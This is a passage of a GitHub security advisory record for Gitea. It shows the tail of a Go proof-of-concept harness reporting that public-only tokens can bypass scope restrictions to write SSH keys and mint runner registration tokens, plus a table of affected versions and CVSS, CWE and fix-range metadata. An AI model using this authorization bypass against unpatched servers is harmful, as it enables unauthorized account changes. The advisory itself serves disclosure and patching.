out, err := cmd.CombinedOutput()\n        fmt.Printf(\"source=%s\\n\", repo)\n        fmt.Print(string(out))\n        if err != nil {\n                fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n                os.Exit(1)\n        }\n        fmt.Println(\"reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint\")\n        fmt.Println(\"reproduced: the same public-only token with the route-required write:user scope can mint a user-level actions runner registration token\")\n        fmt.Println(\"condition=private user issues a public-only,write:user token\")\n        fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N\")\n}\n\n```\n\n---\n\n## Version validation\n\nValidation date: 2026-05-13\n\nThe SSH-key write PoC was used as the representative dynamic test for the systemic `/api/v1/user` self-route public-only bypass.\n\n| Version | Commit | Result |\n|---|---:|---|\n| main | `6a2706626904` | reproduced dynamically |\n| v1.26.1 | `afdbd9b7c5` | reproduced dynamically |\n| v1.25.5 | `f913d90ab6` | reproduced dynamically |\n| v1.24.7 | `99053ce4fa` | reproduced dynamically |\n| v1.23.8 | `cccd54999a` | reproduced dynamically |\n| v1.22.6 | `8eefa1f6de` | reproduced dynamically with Go 1.22.12 test toolchain |\n\nThe representative version-matrix PoC validates the same root cause across tested releases for the SSH-key self-route write surface. The additional lead/supporting PoCs above were retested on the main checkout listed in the Local PoCs section.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.22.3"
      }, {
        "fixed" : "1.26.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.26.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-wrr5-99h5-gq57"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-17T18:09:41Z",
    "nvd_published_at" : null
  }
}